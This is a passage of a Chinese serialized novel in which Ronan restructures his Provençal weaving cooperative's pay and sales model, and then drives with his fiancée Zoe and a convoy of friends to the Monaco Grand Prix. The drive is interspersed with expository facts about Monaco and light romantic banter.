目前罗南和卡福看似是一个整体,实际上是割裂的状态。 两个人按照件数计算,每半个月结算一次。 卡福那天表过态,说只要对卢尔马兰合作社有益、不影响兄弟们赚钱,他愿意和罗南换一种合作模式。 其实那天卡福还隐约表达了更隐层的态度——如果能背靠罗南这棵‘大树’,他举双手同意! 这可比他独自打拼有安全感多了。 但罗南那一次并没有听从桑德琳的整改建议。 不是不想,而是不敢。 这主要是财务问题导致的。 如果把卡福‘收编’进来,每个月一睁眼就要给二三十个大小伙子发工资。 虽然卖的多发的多,但那还是让罗南感觉压力山大。 那个阶段罗南和卢卡斯合作的人工培育黑松露实验项目悬而未决,和费尔南先生见面后成本不停的攀升,还多了一个采买宿主树苗的附加项。 罗南必须留下充足的资金做储备,以应对有可能突然到来的‘巨额’账单。 虽然没有着急改进,但编织生意订单量接连提升,大家都赚到了钱,那之后的几个月过的还算相安无事,没有什么矛盾产生。 但随着在卢尔马兰推出编织体验项目,又随着旅行季正式开始,这种合作模式造成的弊端逐渐暴露。 这半个月罗南出面解决了好几次问题,让他不得不正视起来——模式必须更改了。 之前来合作社参观的人成分相对统一,都是卡福他们约来的潜在客户。 偶尔来一些自然游客,也只是看看,看完就走了。 但四月底开始,来参观编织的人中出现了大量游客,甚至比潜在客户的占比还高。 游客基数变大,产生直接购买的动作就会多,这个时候区分是哪类人就有些麻烦了。 尤其这个编织参观项目和卡福没有什么关系,是由巴蒂和桑德琳来负责,无论是售卖的价格定在多少,还是最后怎么分账,都会产生连锁的问题。 团队几个人也缺乏相应的解决经验,巴蒂和卡福常常无法统一。 谁不想让兄弟们/姐妹们多赚点啊? 无法统一就只能捅到罗南那里去。 但罗南没有上帝视角,即使努力想要做到公平公正,也有弄错的时候。 因为这个渠道售卖出去的产品会有些‘讲不清楚’的个例产生,卡福的伙计们渐渐对这个项目的热情退却。 很明显,最近来参观的潜在客户比例越来越小,几乎全部是在卢尔马兰游客中心看到介绍才来的游客们。 这无疑妨碍了卢尔马兰手工合作社的发展,是一个极大的隐患。 销售都不卖力推荐了,东西还能卖的好吗? 罗南看着卡福说: “先说你这里。” 卡福微微前倾身体,认真等待罗南接下来要说的事情。 罗南的五根手指合并,做了几次聚拢的手势: “你和你的兄弟们,愿不愿意跟我们合并到一起?” “愿意啊,当然愿意。”这个问题卡福早就想过,而且想的非常清楚,几乎是脱口而出,“只要兄弟们每个月拿的钱不少,我变成普通销售都没问题。” 卡福是一个重情重义的家伙。 他手底下的小伙子们全部跟着他干了十几年,从装修一路追随到编织生意,可见这个老大有多靠谱。 卡福宁可自己赔钱,也不能让小伙子们吃亏。 无论模式改成什么样子,卡福只有一个要求——不能亏待了一路跟着他、信任他的兄弟们。 他自己是什么职位,能得到什么待遇都是其次的。 罗南也几乎是脱口而出: “你之前按件给他们发工资,未来我这里是底薪+提成的形式,底薪和其他行业的销售底薪持平,主要看小伙子们是否能卖出更多的东西,但我会给他们上正规的社会保险,要求是你们必须尽快和巴蒂、妇女们熟悉起来,还要派人来卢尔马兰专门负责参观项目之后的售卖。” 罗南和卡福聊过他那边的情况。 别看卡福现在穿的一副成功人士的样子,其实他是名副其实的‘粗人’,高中还没读完就出来当力工了。 能走到现在这步靠的不是脑子,而是一身蛮力。 当时拉着兄弟们卖编织饰品时他想的少,只觉得这东西能卖、比干装修有前途就干了模式完全效仿了罗南和妇女们的合作。 妇女们是做一件给多少钱,卡福这里是卖出去一件多少钱,和正规销售的待遇完全不同。 当然了,采用这种薪资方式也是因为他们之前干装修时也是这样结算的——有活就拿钱,没活就饿着。 罗南仔细研究过上两个月卢尔马兰手工艺合作社的收入,很容易的就推测出了卡福那边情况。 按照卢尔马兰手工艺合作社最近的售卖情况,如果两个团队合成一个,并且给大伙儿发底薪,罗南完全可以承受,兄弟们的工资也只会多不会少。 而且也不会出现发出去的工资打了水漂的问题,因为经过大半年的历练,现在还留在团队里的销售都是卖的还不错的,那些不适合的家伙已经在前半年自己离开了。 但唯一有影响的就是卡福。 卡福在年初赔钱了好一阵子,租房子也投入了不少,但这几个月也是实打实的赚到钱了,而且赚的还不少,如果合并到一起,他到手的钱有可能会变少。 不过罗南考虑到了这一点,继续补充: “你的待遇也是底薪+提成,不过你拿的是全部渠道的提成,有旅游参观项目的,还有线下店铺的,等卢尔马兰的旗舰店开起来你来负责,当然了,如果阿普特的店铺不想关也可以,我们评估一下是否值得投入。” 罗南以为卡福要犹豫一会,至少要算算每个月拿到手的是多了还是少了,但卡福依然脱口而出: “我没意见。” 卡福一点都不担心自己的收入问题。 因为他知道罗南和自己一样——也是个绝对不会亏待兄弟的家伙。 正因如此,他才会主动选择和罗南合作。 和罗南绑定到一起,代表自己的未来和罗南绑定到了一起。 罗南会的难道只有一个编织吗? 未来谁又能保证他会不会开第二家或者第三家合作社? 又或者卢尔马兰合作社增加了其他的种类? 总之,跟在这个值得信赖、又运气爆棚的家伙身边,绝对不会缺赚钱机会! 罗南和卡福两个人聊的非常平静,即使达成了重要的业务统一也没有表现出来过多的情绪,例如兴奋、紧张或者不安等等。 但在一边的巴蒂却看着急了。 他本是一个很好说话的人,性格也随和,尤其不会反对罗南的任何决定,但这一次他却坚定的提出了异议: “但这样一来.妇女们的收入就少了。” 巴蒂一点都不委婉的帮助妇女们维护权益: “以前纯游客买了东西,妇女们也能分到一部分,这是妇女们应得的另一部分报酬,可现在这种模式里,似乎没有钱可以分给妇女了?” 在卢尔马兰直接产生购买的有两类人群,卡福他们约过去的和自然流量。 如果是自然游客产生的消费,巴蒂强烈建议拿出一部分分给妇女。 正是因为巴蒂的坚持,和卡福分账的时候才会格外的困难,只要和妇女的权益产生关联,他就无比较真。 罗南下压双手,让巴蒂别激动: “你这个提议还没有通过呢,我和桑德琳给你的回答是再考虑考虑。” 巴蒂据理力争的说: “我甚至认为,被引导来的顾客产生的消费也应该拿出一部分分给妇女们,他们很可能是看到这些可爱又认真的女人们才会拿出钱包里的钞票,不是吗?” 桑德琳是公事公办的性格,很客观的说: “买卖东西的收入就不该和妇女们分任何地方都没有这个先例,她们的身份只有一个,不要把事情弄复杂了。” “但是——”巴蒂继续反驳。 罗南打断了巴蒂的话,认真的说: “我在普罗旺斯待的这一年多最大的感触就是,专业的事要交给专业的人,巴蒂,你觉得你卖东西有卡福他们专业吗?你又要接待顾客、教他们学编织,还要给他们介绍产品、卖东西这种模式也是不健康的。” 这是罗南认为卢尔马兰手工艺合作社可以提升的另一个地方。 编织体验这里也应该有卡福的伙计们驻扎,提升售卖的效率。 巴蒂两条大长腿娇羞的内扣到一起,委屈的说: “我只是、我只是想让妇女们多赚一点,她们每天真的很辛苦.你不知道她们有多努力。” “我知道,我当然知道。”罗南眼神坚定的看向巴蒂,语气无比温柔,以打消他心底的顾虑,“但我这样做,也是为了让她们能多赚一点,好了,卡福那里说完,该说你这里了。” 巴蒂期待的看过去,整个人又活了: “我这里要怎么改?” 这一次连桑德琳都好奇的看向罗南。 罗南现在做的事情,正是她几个月前指出的问题。 他和巴蒂的合作模式必须改变。 而现在罗南已经很好的解决了这个问题。 但桑德琳不觉得巴蒂负责的业务中有什么需要改进的地方罗南觉得哪里有问题呢? 罗南的语气一下子缓和了下来: “卡福那里的伙计们赚的多了,待遇也提升了,一定会干的更加卖力,我们的营业额必然会提升,这帮伙计们再把编织参观这部分接手过来,我相信自然游客的购买情况也一定会提升的。” 其余三人点点头,肯定了罗南说的话语。 将卡福团队吸收进来,一定会让这个月的订单量和营业额有所改变,必然会产生巨额的提升。 三人以为罗南会继续给大家畅想未来,怎知罗南的语气更加轻柔,似乎是心里的某一块柔软被触碰了: “收入情况良好,我就有底气给妇女们更加好的待遇了,以后妇女们也和销售一样改成底薪+计件提成吧,上正规保险,和其他员工一样的那种,再设立一个设计奖励基金,如果她们自己设计了新的样式,额外给一些奖励,鼓励大家积极学习、努力进取。” 巴蒂的眼睛猛然瞪大,不敢置信的问: “有底薪了?还和正常员工一样上保险了,真的假的?” 按件付费是吕贝隆手工艺者的普遍结算模式。 罗南的决定不止改变了妇女们的薪资结构,还直接决定了她们的社会地位。 正规的工资加上保险,代表这些女人从普通女工变成认证工匠了! 巴蒂还能联想到各项书面材料上对于这部分人群的描述变动,以前她们是‘可怜但勤劳’的,成为工匠后大家会用手握工具的‘女战士’来形容她们,并且会被记住名字! “真的。”罗南摸了下鼻子,看着卡福说,“你和你的兄弟们可一定要好好干,突然多了几十个员工我压力太大了,你们要加油!” 卡福就知道罗南是个不会亏待旁人的家伙。 连跟着他干的吕贝隆妇女们都能得到这么多东西和肯定! 他激动的袖子都挽起来了,展示着自己的肌肉说: “只要死不了,就往死里干,我们不会让你失望的!” 巴蒂的口号喊的比卡福还大声: “我和姐妹们也不会让你失望!我会带着妇女们设计许多许多的新款式,无论来多少订单都能接住,我发誓!!” 巴蒂和卡福大呼小叫,兴奋的不成样子,罗南也加入他们,三个‘大男孩’开心的畅想起了美好的未来。 在场唯一女性桑德琳则默默的观察着罗南的一举一动。 他这个新老板比预想中更加有魄力、有胆识,下这么大的决心看不出一点犹豫。 桑德琳不禁想到——怪不得自己那个死脑筋的老公愿意帮助这个朋友。 罗南的确有着过人的人格魅力,让人忍不住相信他。 突然,罗南看向了桑德琳: “最后是你这里。” 桑德琳吓了一跳。 今天的会还没开完? 我这里也要有变动? 罗南的脖子在卡福的胳膊肘下努力向前伸着: “给我讲下巴黎那些奢侈品店对待‘vip’都采用过那些营销手段,这次去摩纳哥大奖赛,我打算宣传一下我们的高端手工艺合作社。” 第457章 期待事情?有的! 从戈尔德系列活动的阶段开始,卢尔马兰手工艺合作社就开始有意打造‘vip’制度,这是所有高端品牌都绕不开的一条道路。 不过卡福并不精通这部分业务,做了一些动作,只是虚有其表。 唯一做的还不错的,便是始终贯彻‘一对一服务’这项内容。 但罗南理解,‘一对一服务’只是最基础的。 面对客户应该有更加抓人的举措,这样才能贴近高端和小众的标签,也好在未来和卢尔马兰更加‘同频’,以争取到更多的资源。 ‘专业的事交给专业的人’是罗南在普罗旺斯总结出的第一道准则。 他总结出的第二道准则是‘抱紧政府大腿’。 如果卢尔马兰手工艺合作社能帮助卢尔马兰政府达成他们想要的目标——将卢尔马兰打造成一个小众又高端的中世纪小村落。 那么罗南相信慷慨的布兰科一定会给卢尔马兰手工艺合作社不少好处的。 要知道无论是餐厅还是斯特斯加都得到了卢尔马兰政府的许多扶持和帮助,罗南的下一步目标就是让卢尔马兰手工艺合作社尽快进入卢尔马兰政府的视线之中了。 而想要达成这个目的,必须把‘vip’制度做好,最好能吸引来几个普罗旺斯大佬级别人物的关注。 桑德琳听到罗南的话一怔。 从一定意义上讲,卢尔马兰手工艺合作社从今天开始才算正式‘成立’。 之前的大半年经营只能算是摸索和尝试,此刻他们终于步入正轨了。 桑德琳理解罗南的想法,他比任何人都想要把卢尔马兰手工艺合作社做好、做出名堂、做出特色。 不过才刚刚起步,此刻并不是去复刻高端品牌那套vip制度的最佳时机,应该一步一个脚印先把基础打牢固。 和罗南打过多次交道后,桑德琳知道他不是那种一意孤行、听不进去意见的老板,于是客观的回复: “现在做这些是不是有点早?vip制度的核心是营造尊贵感和阶级差距心理,那需要我们的旗舰店建成,现在还没有接待vip的能力。” 桑德琳搬出了一个非常关键的因素。 有了vip制度就一定会定期举行活动,没有场地,我们如何招待那些贵宾? 这个院子?还是阿普特的小商铺? 这样距离‘高端’这个单词是不是太远了些? 如果罗南回答,布置场地接待贵宾,桑德琳会继续反驳。 把一整个场地布置成编织风格既耗时又耗力,得不偿失。 听罗南的意思,卢尔马兰商业街的二期和三期正在加紧施工之中,说不定秋天就能完工。 再等一等啊,旗舰店很快就能落成了。 听到桑德琳的回答,罗南陷入了短暂的沉思之中。 罗南沉默之际,巴蒂也从巨大的喜悦中抽离,恢复到了那个既细心又温柔的小伙子。 他用安慰的语气对罗南说: “我知道你想尽快把卢尔马兰手工艺合作社的招牌打响,但除了场地,我们的样品数量也不够多,在这一点上我比较有经验,那些有钱的太太们不会被一般的款式所吸引,必须给她们足够的选择空间,我们做足了准备你再去宣传吧。” 众所周知,罗南在普罗旺斯有许多朋友,而且一个比一个厉害。 无论是商人、政要还是名人.他都有不少的好朋友。 以前,罗南会给每一位来餐厅吃饭的朋友介绍餐厅里的编织元素和巧妙细节,吃完饭还会送给对方一些编织的小礼物。 巴蒂猜,罗南是想在这些宣传之外,再做些其他的举动。 不过巴蒂的态度是先等一等。 编织饰品和灯具才能卖几个钱? 编织家具才是我们的未来! 你等我、等妇女们多做点家具样式你再推荐给那些厉害的朋友们啊,这样效果更好! 桑德琳和巴蒂的阻拦让罗南陷入了矛盾之中。 他们讲的道理罗南都懂。 在旗舰店和样品准备好之前,最好不要有什么太大的动作,点到为止即可,但他也有苦衷啊。 罗南将一只手伸入黑色的浓密短发之中抓了两下,显得很是头疼: “可是错过了这次摩纳哥F1大奖赛,我怕没有这么好的宣传机会了。” 卡福双手抱胸,信心十足的说: “不用担心,晚一两个月没事的,你的那些朋友又不会跑,说不定从摩纳哥回来还能认识更多呢,等旗舰店和样品准备好,未来有的是机会。” 巴蒂和桑德琳也跟着附和。 “对,是这个道理。” “不要着急啊罗南,你的朋友们和你关系都不错,不要急于一时。” 罗南自嘲的摇了摇脑袋: “你们太看的起我了,难道我还有与阿兰·德龙和克劳迪娅·卡汀娜等明星一起看赛车的机会?还是我可以有第二次机会和摩纳哥王室共进晚饭?错过这次,可能这辈子都没有下一次了,不管现在有没有条件至少我在和其他嘉宾聊天时,可以多说一点关于合作社的东西啊。” 6月份《普罗旺斯艺术指南》就要发刊。 为了让罗南和佐伊吻合米切兰杂志社给他们安排的名次,伊内斯给小情侣的摩纳哥之行安排了最高级别的待遇。 无论吃喝玩乐都和名人安排到了一起,要狠狠的给他们两个抬咖。 别看这次摩纳哥之行只有两天的时间,但罗南的任务无比繁重。 第一个任务是继续和伊内斯搞好关系,再向她打听下参加更多集市的办法,一个城一个村的去问太浪费时间了,最好可以找一个渠道把所有都搞定。 还有就是‘巧妙’的在伊内斯面前夸一夸帮了他大忙的切尔诺,如果这位编辑能在米切兰杂志社发展顺利,罗南相信以他和切尔诺的关系,对斯特斯加也是有极大帮助的。 第二个任务是去好好的宣传一下斯特斯加粉红酒庄、他的中餐厅和卢尔马兰手工艺合作社。 罗南参与过尼斯狂欢节的官方活动。 真正的活动环节可能只有一两个小时,其他的时间全是嘉宾们喝酒聊天的舞台。 一帮社会名人聚在一起能聊什么? 彰显自己有多成功呗! 上一次在尼斯狂欢节,罗南全程和卢尔马兰的艺术家们待在一起,没怎么结交朋友。 这一次可不能这样了。 交谈的时候得介绍自己是干什么的吧? 艺术家? 不止不止,我还做了一点小小的生意。 开了个餐厅,没多大,卢尔马兰附近都能看到我餐厅的路标,啊,没错没错,获得普罗旺斯面包大赛冠军的也是我,什么你说想去尝尝?那你可一定要提前联系我啊,你自己去排队要两个多小时呢。 还经营了一家粉红酒酒庄,过奖过奖,也是小生意,就是做到普罗旺斯市占率第一了而已,尼斯和马赛等海边城市每个餐厅、酒馆和超市都可以买到它,诶对了,明年我就要有酒庄城堡了,记得来啊,一睁眼就是葡萄园,老高端了。 我还是一个手工艺合作社的会长,我们的编织产品主打高端和小众。 嗯.除此之外,罗南讲不出来其他亮眼的东西了。 但如果有一些能拿的出手的''vip''活动,罗南至少能多聊两句,你别管我之前有没有,反正我未来一定有就是了。 罗南的思绪忽地一下被打断。 巴蒂‘嗷’的一嗓子喊出声来,吓得罗南差点从椅子上跌坐下去: “克劳迪娅·卡汀娜?那是我的偶像!是我最喜欢的女人!” 罗南摇摇晃晃的坐直身子,惊魂未定的问: “你最喜欢的女人不是伊内斯吗?” 巴蒂搬着椅子坐到距离罗南只有几厘米的地方,眼神中有流光闪动: “克劳迪娅·卡汀娜是‘前任’,你这次去摩纳哥居然要和她一起看F1?上帝啊,你是怎么做到的?” “你到底有多少个‘最’喜欢的女人?”罗南躲远了些,嫌弃的说,“是伊内斯安排的,我们会坐在一个包厢。” 巴蒂的眼眶里又多了一滩‘春水’,他激动的晃动起了胳膊: “果然是我的现任,伊内斯居然能和明星们有这么好的关系?罗南,这次我和你一起去摩纳哥,你和佐伊一定需要一个搬行李的司机吧?” 罗南‘恨其不争’的教育巴蒂: “巴蒂,你要改一改这个性格了,至少要稍微收敛一点,你在合作社里管着最庞大的一支团队,哪能总这么‘轻浮’?等以后我们发展壮大了,说不定还会有名人明星来选家具呢,你看看人家桑德琳——” 罗南的手指在空中停滞。 他在那位宠辱不惊的职业女性身上,看到了比巴蒂更加疯狂的表情。 只见桑德琳满脸涨红,像怀春少女一样撑着下巴: “阿兰·德龙.我看的第一部电影就是阿兰·德龙演的,你们不觉得布鲁诺有一点和他神似吗?” 罗南装作没有看到桑德琳的‘发春’样子,转头指向卡福,继续对巴蒂说: “再看看人家卡福,多成熟稳重?和你完全不一样!” 下一秒,卡福一脸殷勤的握住罗南的手,难掩激动的说: “和王室见面需要保镖吧?我带着几个伙计全程护送你和佐伊去摩纳哥,就这么定了,我现在就回去收拾行李。” 罗南赶紧掐断了这些人不切实际的遐想,认真的问: “停一停伙计们,聊回刚刚的话题吧,我需要一些亮眼的vip制度把合作社高端的属性展示出来,最好是能让人眼前一亮的那种。” “对对对,罗南说的对,必须要拿出一些亮眼的东西了。”卡福郑重的看向桑德琳。 巴蒂虽然已经丧失了部分理智,但不忘帮助罗南说话: “桑德琳,你快想一想啊,普通的东西可无法让那些有钱的漂亮女士留下印象,你想一想在巴黎有,但是在普罗旺斯不常见的?这样罗南说出去才能吸引到她们。” 阿兰·德龙给了桑德琳无限的动力,她平复了一下心情,四处寻找起来。 “在找什么?”罗南疑惑的问。 “笔和纸。”桑德琳站起来寻找。 巴蒂快速递上去了一支笔和两张纸,催促道: “快说快说,我们都一起听着,对我们都有用呢。” 桑德琳看了一眼桌子上的东西,很快移开视线: “不够,我需要一个本子,把所有的关于高端奢侈品vip的外在显现和内在原理都给罗南讲一遍,他听明白了,才能融会贯通的讲出去。” 罗南连连摇头: “不用了,时间不够,我和佐伊明天就要动身,你只需要给我讲一些核心的东西就好了。” 桑德琳的脸唰的一下红了,她眼神闪躲的说: “如果记不下来.要不要我陪你们一起去摩纳哥呢?那样学习的时间更长一些,万一你记不住,我可以随时给你补充。” 第二天。 罗南和佐伊出发去摩纳哥时,后面跟了整整一个车队。 没错,有六辆车跟着他一起出发去摩纳哥了。 事实上,得知罗南和佐伊要去摩纳哥看F1时,卢尔马兰的男人们彻底疯狂了。 什么,罗南要去完成每一个普罗旺斯男人的梦想? 这么重要的时刻,我怎么能不在旁边呢? 早在半个月之前,特奥和康奈尔就找罗南请好了假,要和罗南一起前往。 特奥带上了老婆孩子,康奈尔带着他的妈妈和姐姐一家.这使得队伍已足够庞大。 再加上两个人的经纪人歌迪亚。 有歌迪亚和佐伊的地方,怎么能缺少了薇薇安和宝莱特呢? 再加上. 巴蒂要去看克劳迪娅·卡汀娜。 桑德琳要去看童年偶像阿兰·德龙。 卡福想要一睹摩纳哥王室的风采。 这个成分无比复杂的摩纳哥小队就这样组成了! 这两天,罗南的嗓子都喊哑了。 他清楚明了的告诉要跟着一起去的人——他没办法带他们见克劳迪娅·卡汀娜、也无法带他们见阿兰·德龙,更没办法带他们见摩纳哥王室,就连F1的尾气都无法让他们吸到。 甚至他们连罗南和佐伊都见不到,因为他们有满满的活动安排。 可这些人就是一意孤行的必须跟去,像是疯了一样。 而他们的心情体现在了开车风格上。 还没到摩纳哥,这几个家伙就玩起了‘你追我敢’的游戏,先把‘F1’开上了,就连桑德琳都没有例外,开的比几个月前的佐伊还快呢。 “要不然,我来开?”佐伊见罗南慢悠悠的跟在最后,有些脚痒了,“你不参加他们的游戏吗?” 罗南摇头: “还是算了吧,他们是因为各自的‘目的’而兴奋,咱们俩又没有什么可兴奋的事,慢慢开吧。” 佐伊突然笑出声来: “有啊,我有兴奋的事情啊。” 罗南闻言扭头,好奇的打量过去。 佐伊这次去摩纳哥也有什么期待的事情吗? 他见到画着精美妆容、一身白色套裙打扮,美丽的香精灵一样的佐伊似笑非笑的盯着自己看: “之前主办方问我要几间房间,我看你挺忙的就自己决定了,这次我们两个住一个房间。” “嗖——”的一声爆鸣。 黄色闪电超过众人,争夺到了头名的位置。 每一个被超车的人都听到了罗南的傻笑。 第458章 你们怎么比我还着急? 摩纳哥距离卢尔马兰200多公里的距离,开车有着不短的车程。 这一路要经过艾克斯、鲁塞、戛纳、尼斯和埃兹等众多南法著名旅游城市。 车队驶出吕贝隆腹地,经过艾克斯,一进入蔚蓝海岸范围,车速就提不上去了。 竞赛的车队也被车流冲散,不过大家在之前就约定好了见面的时间和地点。 虽然南法最美丽的海岸线一点都不会让人感觉到无聊,每一次转弯过后都是新的美景。 但罗南还是无比的心急。 他现在想要插上一双翅膀,带着佐伊直接飞到摩纳哥的酒店柔软大床上去! 不过还好有佐伊在一旁始终和他聊天说话,还一会喂吃的一会喂喝的稍微冲淡了一些罗南心底的焦急。 在这段漫长又幸福的路途上,学识渊博的佐伊自然要给罗南科普一下这一次的目的地。 加上罗南之前的了解,终于对摩纳哥有一个较为详细的认知了。 摩纳哥地处法国南部,除了靠地中海的南部海岸线之外,全境北、西、东三面皆由法国包围,主要由摩纳哥旧城和随后建立起来的周遭地区组成,是世界上人口最密集的国家之一。 在1987年,有28992名常驻人口居住在这片仅有1.95平方公里的土地上。 1.95平方公里是什么概念呢? 纽约中央公园的面积是3.41平方公里,摩纳哥全国面积约等于纽约中央公园西南角的那块草坪。 大约等于260个标准足球场。 仅仅有巴黎的1.8%那么大。 总之就是一个‘弹丸之地’! 1990年后,随着填海工程启动,摩纳哥的国土面积才突破了2平方公里,不过依然是世界上面积第二小的国家(仅次于梵蒂冈)。 近29000名常驻人口中,摩纳哥公民仅有6000人左右,其余全部为外籍公民。 没错,本国籍的摩纳哥人在自己国家的居民中是少数派,这种人口状况在世界各国都极为少见。 法语是摩纳哥唯一的官方语言,但也使用英语、意大利语和摩纳哥本地的摩纳哥语,天主教是法定的国教,占人口的80.9%,由天主教摩纳哥总教区管理,但摩纳哥宪法保障信仰其他宗教的自由。 外籍居民中,法国人占45%、意大利人有30%,其余人口由来自其他125个国家的世界各地富豪们组成。 摩纳哥富豪扎堆,因为这里是避税的天堂。 八十年代,法国个人最高税率可达到66%,美国加州的洲税+联邦税可达到50%,而摩纳哥的公民和居民无需缴纳任何个人所得税,连资本利得税和遗产税都豁免。 本地企业仅需缴纳33.3%的利润税,但许多富商通过控股公司的架构调整,还是有办法将税费降低到0%。 这种人间天堂富商们怎么会不喜欢呢? 不过摩纳哥这个避税的天堂,不仅是世界富豪们最喜欢的地方.也是世界游客钟爱的旅行地。 而且不仅在夏季是旅游胜地,在冬季也是热们旅游城市,一年四季气候宜人。 受地中海气候、海洋性气候和副热带湿润气候的影响,摩纳哥夏季的日间长度较短,午后不会太热,温度通常不超过30度。 还因为不断有海风吹来,温度适中。 另一方面,由于夏天的海水温度很高,所以夜晚非常温和凉爽,很适合居住和生活。 而到了冬季,霜冻和降雪又极为罕见,通常每十年发生一次或两次。 “这里太宜居了。”听到这里,罗南忍不住打断佐伊的讲述,发自内心的感慨。 和摩纳哥比起来,卢尔马兰的夏天可以用‘炙热’来形容,冬季可以用‘冷酷’来描述。 200公里的距离而已,气候居然差了那么多。 “当然宜居了。”佐伊好看的下巴微微扬起,“这里的房价比尼斯贵5到6倍,我们在卢尔马兰的房子在这里可能只够买一个车位,只有真正的有钱人才敢生活在这里。” “房价那么高了?”罗南知道摩纳哥的房价贵,但没想到贵成这个样子。 佐伊喜欢尼斯,罗南心心念念的想要给佐伊在尼斯买一栋临海的独栋别墅,所以多少了解了一些尼斯的房价。 佐伊当时吓唬罗南,说尼斯的海边度假别墅至少要600万法郎起步,那有些‘夸大其词’了。 罗南通过朋友打听到,明明550万就能买到啊! 虽然现在他只有一个零头,但罗南觉得那并不遥远。 以他的赚钱能力、以他的潜力,努努力,说不定一两年就能买下来,到时候就可以带着佐伊出海捕鱼了。 佐伊喜欢大自然。 天上飞的鸟她从小就看,肯定看够了,后半辈子咱们看海里的鱼! 但如果说,摩纳哥的房价是尼斯的5-6倍.那可真就是遥不可及了,是罗南想都不敢想的事情。 “我们距离富豪的差距还是有点远啊。”罗南撇了撇嘴,语气中满是无奈和羡慕。 之前准备和其他嘉宾们攀谈的‘小生意’是自谦的说法,这样一看,他那些生意的的确确算是小生意了。 还没到摩纳哥,小情侣就被摩纳哥的‘气场’所影响。不止罗南如此,一向花钱大手大脚的佐伊很久没有展露出心疼钱的语气了。 可这一次,她却有些小庆幸说: “不止房价贵,吃穿住行,所有东西都贵,还好这次的酒店是米切兰杂志社订的,如果是我们自己来玩,我可舍不得定那么高的档次。” 不仅罗南和佐伊在避税天堂‘精打细算’起来,财大气粗的米切兰杂志社到了摩纳哥都无法做到那么大气了。 上一次参加尼斯狂欢节,米切兰杂志社同意嘉宾自己订酒店,事后由他们来报销。 这一次,所有嘉宾的酒店由米切兰杂志社统一安排,如果不这样做恐怕要大出血了。 罗南没有关注活动细节的事情,全程是歌迪亚和佐伊决定的。 这次米切兰杂志社给他们提供了两间高档酒店的房间。 一间由佐伊和罗南居住,另一间给了他们的经纪人歌迪亚。 歌迪亚一个人住太浪费,薇薇安和宝莱特会和她一起。 但车队里其他人的住宿问题就要自己解决了。 他们的解决办法是——居住在距离摩纳哥不远处的尼斯。 这帮人可负担不起摩纳哥寸土寸金的酒店价格,尤其现在是F1大奖赛期间,酒店的价格较平日比更是翻了好几倍。 不过好在,从尼斯来摩纳哥就像是从卢尔马兰到博尼约一样容易。 虽然罗南嫌弃了一路跟了这么多尾巴,不过人真的来了,他们也不会不管他们。 佐伊用商量的语气问罗南: “今天的排位赛在下午举行,等特奥和巴蒂他们安顿好,要来酒店找我们,我们请大家吃顿饭再分开行动吧。” 由于赛道地形原因,摩纳哥站是F1赛历中唯一不设冲刺赛的分站。 周四周五各车队进行自由练习,周六进行排位赛,周日进行备受期待的正赛。 这次摩纳哥之行的官方活动从下午15点的排位赛开始,但罗南一行人早早的就出发了,到摩纳哥的时间还不到中午,在这中间还有着一些时间可以自由安排。 不管怎么说,这些人都是为罗南和佐伊而来的。 摩纳哥吃喝这么贵,小情侣多少应该负担一些。 摩纳哥的房子买不起,请客吃饭还是没问题的! 见罗南点头,佐伊看着一侧的蔚蓝大海继续补充道: “摩纳哥饮食受普罗旺斯烹饪风格以及附近北意大利风格和摩纳哥自身传统烹饪的影响而形成,同样强调食材的新鲜,其中海鲜,蔬菜和橄榄油的使用在烹饪中起主要作用,和尼斯的风格差不多,还没有那边的特色食物种类多呢。” 佐伊在尼斯上了四年大学,来摩纳哥的次数非常多,对这里相对熟悉。 上一次去尼斯参加狂欢节,佐伊找了许多当地小吃给朋友们分享,但这一次在吃这方面就没有那么丰富了。 罗南心不在焉的‘嗯’了一声,无所谓的说: “没事,不用那么麻烦,就在酒店门口找个地方吃点就行,吃完了大家分头行动。” 这会的太阳相对强烈,佐伊用手掌挡住头顶的阳光也‘嗯’了一声,不过是疑惑的语气: “吃完午饭就分头行动?不是说先一起在摩纳哥转一圈,我们去看排位赛时才分开吗?” 小尾巴们早就替罗南和佐伊安排好了行程。 在下午15点之前,是大家集体活动的时间。 等罗南和佐伊结束了第二天的正赛,大家再一起开回去。 罗南腾出一只手出来,快速摆了摆: “不了不了,天气太热,别在外面活动了,吃完了就回去,你看你,晒的都睁不开眼睛了。” 佐伊笑着看过来: “摩纳哥的气温比卢尔马兰低了两三度,下午也没有那么炎热。” 罗南目视前方,语气坚定: “我看天气预报,说今天摩纳哥升温。” 佐伊顿时笑出声来: “再升温能有吕贝隆热?你在吕贝隆都不躲在屋子里,到了摩纳哥突然怕热怕晒了?还是你觉得特奥和巴蒂他们会嫌热?” 罗南不耐烦的摇头: “我和特奥、巴蒂他们待烦了,天天见天天见,来摩纳哥分开一会吧,距离产生美。” 佐伊努力控制自己的表情,装作一副不明白的样子: “那你早上答应他们,排位赛之前可以一起活动?你还说,晚上有时间要一起去赌场看看呢。” “我有吗?”罗南皱眉。 “有。”佐伊微笑。 “我的意思是,让他们去过集体活动,我和你不参加。”罗南终于憋不住了。 “你有其他事情?”佐伊边笑边问。 罗南瞪向在一旁‘明知故问’,已笑的花枝招展的佐伊,忍不住气愤的说: “因为你之前没有告诉我,今天我们两个住一个房间!如果你提前说了,我绝对不会同意什么集体活动的提议,今天的所有集体活动只会在酒店里!而且是我和你!!” 上帝啊,这么重要的事情你怎么不提前说呢? 如果没有记错,酒店的事情在很久之前就确定了,而佐伊对此只字不提。 这让罗南开始担心起他们的婚礼——以佐伊这种‘滴水不漏’、‘密不透风’的性格,她和小姐妹们制造的婚礼惊喜环节,不会让我这个猛男落泪了吧? 罗南赤裸裸的话语让佐伊笑的更加肆意了。 她憋了这么久,就是想要看到罗南此刻想装正经,但心口不一的‘可爱’样子。 这让她回忆起了去年,两个人还不是情侣时,她一次次‘调戏’罗南时的有趣心里。 佐伊一边笑,一边摸了摸罗南没有刮干净的胡子,温柔的问: “那你还不开快点?” 事实上,即使罗南融入的再好,也没办法成为真正的普罗旺斯人。 就比如开车这件事。 他觉得自己已经开的很快,很机灵了,却总是有一辆一辆老爷车在长长的车队中将他超过,或者占了他的车位。 开车风格‘彪悍无理’似乎是刻在普罗旺斯人骨子里的东西。 虽然路上耽误了一点时间,但他们还是在上午10点就抵达了米切兰杂志社在摩纳哥合作的高档酒店。 停好车子,心急的罗南甚至都没有来及看一看酒店的豪华样子,便一手行李,一手佐伊,大步流星的进入酒店里去: “他们要先去尼斯找酒店,之后才能过来,临时找酒店可不容易,肯定需要些时间,我们先去楼上放行李,到了吃午饭的时间再下来!” 其实罗南和佐伊并不缺独处的机会。 情侣之间该干的事情也都干的差不多了。 